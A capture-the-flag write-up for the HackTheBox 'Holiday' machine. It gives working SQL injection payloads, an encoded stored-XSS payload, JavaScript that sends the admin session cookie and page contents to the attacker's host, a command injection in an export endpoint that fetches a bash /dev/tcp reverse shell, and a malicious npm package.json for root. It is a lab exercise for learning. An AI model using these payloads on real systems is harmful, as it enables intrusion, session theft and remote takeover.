Post

HackTheBox Holiday

Writeup for HackTheBox Holiday

HackTheBox Holiday

Machine Synopsis

Holiday is definitely one of the more challenging machines on HackTheBox. It touches on many different subjects and demonstrates the severity of stored XSS, which is leveraged to steal the session of an interactive user. The machine is very unique and provides an excellent learning experience. (Source)

Enumeration

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
❯ nmap -p- --min-rate 10000 10.10.10.25

PORT     STATE SERVICE
22/tcp   open  ssh
8000/tcp open  http-alt

❯ nmap -p 22,8000 -sC -sV 10.10.10.25

PORT     STATE SERVICE VERSION
22/tcp   open  ssh     OpenSSH 7.2p2 Ubuntu 4ubuntu2.2 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey: 
|   2048 c3:aa:3d:bd:0e:01:46:c9:6b:46:73:f3:d1:ba:ce:f2 (RSA)
|   256 b5:67:f5:eb:8d:11:e9:0f:dd:f4:52:25:9f:b1:2f:23 (ECDSA)
|_  256 79:e9:78:96:c5:a8:f4:02:83:90:58:3f:e5:8d:fa:98 (ED25519)
8000/tcp open  http    Node.js Express framework
|_http-title: Error
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

Lets check out the website on port 8000.

webpage

1
2
3
4
5
6
7
❯ dirsearch -u http://10.10.10.25:8000
...
[23:54:44] 302 -   28B  - /admin  ->  /login
[23:54:45] 302 -   28B  - /admin/  ->  /login
[16:54:48] 200 -    1KB - /login
[16:54:48] 200 -    1KB - /login/
...

There’s an /admin and /login endpoint found.

login_webpage

Trying simple login credentials such as admin:admin or admin:password didn’t work.

Lets use sqlmap to help us.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
❯ sqlmap -r login_req --risk=3 --level=5 -T users --dump --threads 10
...
[17:05:00] [CRITICAL] unable to connect to the target URL ('Connection refused'). sqlmap is going to retry the request(s)
there seems to be a continuous problem with connection to the target. Are you sure that you want to continue? [y/N] y
...
POST parameter 'username' is vulnerable. Do you want to keep testing the others (if any)? [y/N] 

sqlmap identified the following injection point(s) with a total of 453 HTTP(s) requests:
---
Parameter: username (POST)
    Type: boolean-based blind
    Title: OR boolean-based blind - WHERE or HAVING clause (NOT)
    Payload: username=admin") OR NOT 4172=4172 AND ("ZJNx"="ZJNx&password=admin
---
[17:05:44] [INFO] the back-end DBMS is SQLite
web application technology: Express
back-end DBMS: SQLite
...
+----+--------+----------------------------------+----------+
| id | active | password                         | username |
+----+--------+----------------------------------+----------+
| 1  | 1      | fdc8cd4cff2c19e0d1022e78481ddf36 | RickA    |
+----+--------+----------------------------------+----------+

Cracking the hash fdc8cd4cff2c19e0d1022e78481ddf36 on CrackStation reveals the password nevergonnagiveyouup.

Alternatively, we could manually hunt for the exploit by trying the following SQLi in the HTTP requests.

1
  username=admin"))-- -&password=admin

This works because most likely the SQL statement is select passwords from users where ((username="input"))

How do you tell if the SQLi is working? Instead of the page returning Invalid User, it will return Error Occurred.

Then we find number of columns.

1
2
  username=admin")) order by 4-- -&password=admin
  username=admin")) union select 1,2,3,4-- -&password=admin

Assuming that we know the server is using sqlite, we can find a way to print the version of the SQL.

1
  username=admin")) union select 1,sqlite_version(),3,4-- -&password=admin

Next we can print the table names.

1
  username=admin")) union select 1,group_concat(tbl_name),3,4 FROM sqlite_master WHERE type='table' and tbl_name NOT like 'sqlite_%'-- -&password=admin

Next we can print the column names for users table.

1
  username=admin")) union select 1,group_concat(sql),3,4 FROM sqlite_master WHERE type!='meta' AND sql NOT NULL AND name ='users'-- -&password=admin

Next, we can dump the info from the table users.

1
2
  username=admin")) union select 1,group_concat(username),3,4 FROM users-- -&password=admin
  username=admin")) union select 1,group_concat(password),3,4 FROM users-- -&password=admin

All payloads referenced for sqlite are taken from PayloadAllTheThings.

Exploitation

Login in to the Booking Management portal with RickA:nevergonnagiveyouup shows us the following dashboard.

booking_management_dashboard

Clicking on any UUID shows us the following details.

uuid_details

Clicking on the notes tab shows the following input.

notes_tab

There is an interesting information below the notes input: All notes must be approved by an administrator - this process can take up to 1 minute..

Submitting a simple <script>alert(1)</script> payload returns us the following result &lt;script&gt;alert(1)&lt;/script&gt; .

This shows that there might be some filters happening in the backend.

We can try another payload <img src=1 href=1 onerror="javascript:alert(1)"></img>. This time the server returns the following result <img src=1></img>.

This may indicate that the server accepts <img> tag. Lets try to start a server and submit a simple XSS payload.

1
<img src='http://10.10.16.23/test.jpg' />
1
2
3
4
❯ python3 -m http.server 80
Serving HTTP on 0.0.0.0 port 80 (http://0.0.0.0:80/) ...
10.10.10.25 - - code 404, message File not found
10.10.10.25 - - "GET /test HTTP/1.1" 404 -

Nice! We managed to get a callback from the server. Now we just have to find ways to get a script tag into the payload.

Using this payload <img src="x/><script></script>"> resulted in <img src=x/><script></script>>. It seems like there’s a way to put a script tag in the payload.

Here’s what we know so far.

  • The input only allows for <img> tags and we found a way to embed <script> tag in.
  • Quotations (single and double quotes) are filtered. With this in mind, we will have to use encoded payloads.

Encode the following payload document.write('<script src="http://10.10.16.23/cookie.js"></script>'); using CyberChef.

Here is the final XSS payload that we will submit in the input.

1
<img src="x/><script>eval(String.fromCharCode(100,111,99,117,109,101,110,116,46,119,114,105,116,101,40,39,60,115,99,114,105,112,116,32,115,114,99,61,34,104,116,116,112,58,47,47,49,48,46,49,48,46,49,54,46,50,51,47,99,111,111,107,105,101,46,106,115,34,62,60,47,115,99,114,105,112,116,62,39,41,59))</script>">

Then we will host the file on our server and start a netcat listener to catch the incoming connection.

1
2
3
4
5
6
cat cookie.js
window.addEventListener('DOMContentLoaded', function(e) {
    window.location = "http://10.10.16.23:8888/?cookie=" + encodeURI(document.getElementsByName("cookie")[0].value)
})

❯ python3 -m http.server 80

Alternatively, we could use this .js file instead if we want the entire HTTP response.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
cat response.js
  // Send a GET request to fetch data from the local server
  var req1 = new XMLHttpRequest();
  req1.open('GET', 'http://localhost:8000/vac/8dd841ff-3f44-4f2b-9324-9a833e2c6b65', false);
  req1.send();
  
  // Store the response from the server
  var response = req1.responseText;
  
  // Send a POST request to forward the retrieved data to our server
  var req2 = new XMLHttpRequest();
  req2.open('POST', 'http://10.10.16.23:8888/response', true);
  req2.setRequestHeader('Content-Type', 'application/x-www-form-urlencoded');
  
  // Encode and send the response data
  var encodedResponse = encodeURIComponent(response);
  req2.send(encodedResponse);
1
2
3
4
5
6
7
8
9
10
11
❯ nc -nlvp 8888
listening on [any] 8888 ...
connect to [10.10.16.23] from (UNKNOWN) [10.10.10.25] 48836
GET /?cookie=connect.sid=s%253A457e3d80-e62e-11ef-bd43-cf9e0fb0879d.8VCVvWUEWXnuWeseitCbJAVfds2XHDwxLqSEto5YXug HTTP/1.1
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Referer: http://localhost:8000/vac/8dd841ff-3f44-4f2b-9324-9a833e2c6b65
User-Agent: Mozilla/5.0 (Unknown; Linux x86_64) AppleWebKit/538.1 (KHTML, like Gecko) PhantomJS/2.1.1 Safari/538.1
Connection: Keep-Alive
Accept-Encoding: gzip, deflate
Accept-Language: en-GB,*
Host: 10.10.16.23:8888

We got a hit on the admin cookie!

We can update our current session token with the admin session token and refresh the page.

admin_tab

Remember that we found a /admin endpoint previously?

admin_webpage

Lets export the bookings and notes to our local machine for analysis.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
cat export-bookings-1739028438045
1|e2d3f450-bdf3-4c0a-8165-e8517c94df9a|Wilber Schowalter|A697I|Werner.Walsh56
@gmail.com|183.0|1497933864607|1498458169878|Alishabury
2|2332eef6-0f05-413a-aac1-ac5772e9dd8a|Sedrick Homenick|3RMYF|Hermann.Gutmann
@gmail.com|847.0|1515149552629|1520893749909|New Dedric
3|ffd52467-9fa2-4b9a-90f7-995cbc705055|Miss Gisselle West|PP9VY|Gordon2@hotma
il.com|502.0|1515329040778|1521227597426|West Jammie
...

❯ cat export-notes-1739028439288
1|31|<script>alert(1)</script>|1739017725407|1
2|31||1739017770213|1
3|31|<img src=1 href=1 onerror="javascript:alert(1)"></img>|1739017860494|1
...

Lets analyze the export function on Burp Suite.

export_function_burp

What if we try some command injections?

export_function_burp_error

The response states that only characters in the range of [a-z0-9&\s\/] are allowed. Lets try using & instead of ; and URL encoding it.

export_function_burp_command_injection

Nice! It worked.

Since we can’t use ., we cannot use our IP in IPv4. Using this online tool, I converted my current tun0 IP to hex format.

1
10.10.16.23 --> 0a.0a.10.17 (0x0a0a1017)
1
2
3
4
❯ ping 0x0a0a1017
PING 0x0a0a1017 (10.10.16.23) 56(84) bytes of data.
64 bytes from 10.10.16.23: icmp_seq=1 ttl=64 time=0.042 ms
64 bytes from 10.10.16.23: icmp_seq=2 ttl=64 time=0.090 ms

Now we send a command injection that gets a reverse shell from us.

1
2
3
4
cat rev
#!/bin/bash

bash -i >& /dev/tcp/10.10.16.23/443 0>&1

export_function_burp_wget

1
2
3
❯ python3 -m http.server 80
Serving HTTP on 0.0.0.0 port 80 (http://0.0.0.0:80/) ...
10.10.10.25 - - "GET /rev HTTP/1.1" 200 -

Finally we can execute the rev file by sending the following HTTP request GET /admin/export?table=bookings%26bash+rev.

1
2
3
4
5
6
7
8
9
10
❯ nc -nlvp 443
listening on [any] 443 ...
connect to [10.10.16.23] from (UNKNOWN) [10.10.10.25] 36188
bash: cannot set terminal process group (1142): Inappropriate ioctl for device
bash: no job control in this shell
algernon@holiday:~/app$ whoami
algernon
algernon@holiday:~/app$ cd /home/algernon
algernon@holiday:~$ cat user.txt
54fc61db1ef37e5f0649c540f97cae32

Privilege Escalation

1
2
3
4
5
6
7
algernon@holiday:~$ sudo -l
Matching Defaults entries for algernon on holiday:
    env_reset, mail_badpass,
    secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin\:/snap/bin

User algernon may run the following commands on holiday:
    (ALL) NOPASSWD: /usr/bin/npm i *

Checking the sudo privileges for algernon shows that this user has the permission to run /usr/bin/npm as root.

Googling for npm sudo exploit result in this GTFOBins guide. It states that we can escalate our privileges by running sudo npm on a malicious package.json file.

1
2
cat package.json
{"scripts": {"preinstall": "/bin/sh"}}

Transfer the malicious package.json file over to the /tmp directory and run the exploit command.

1
2
3
4
5
6
7
8
9
10
11
12
algernon@holiday:/tmp$ wget http://10.10.16.23/package.json -O package.json
algernon@holiday:/tmp$ cat package.json
{"scripts": {"preinstall": "/bin/sh"}}
algernon@holiday:/tmp$ sudo /usr/bin/npm i --unsafe

> undefined preinstall /tmp
> /bin/sh

# whoami
root
# cat /root/root.txt
77006c4b20eeba12c59de4f7dbbd3221
This post is licensed under CC BY 4.0 by the author.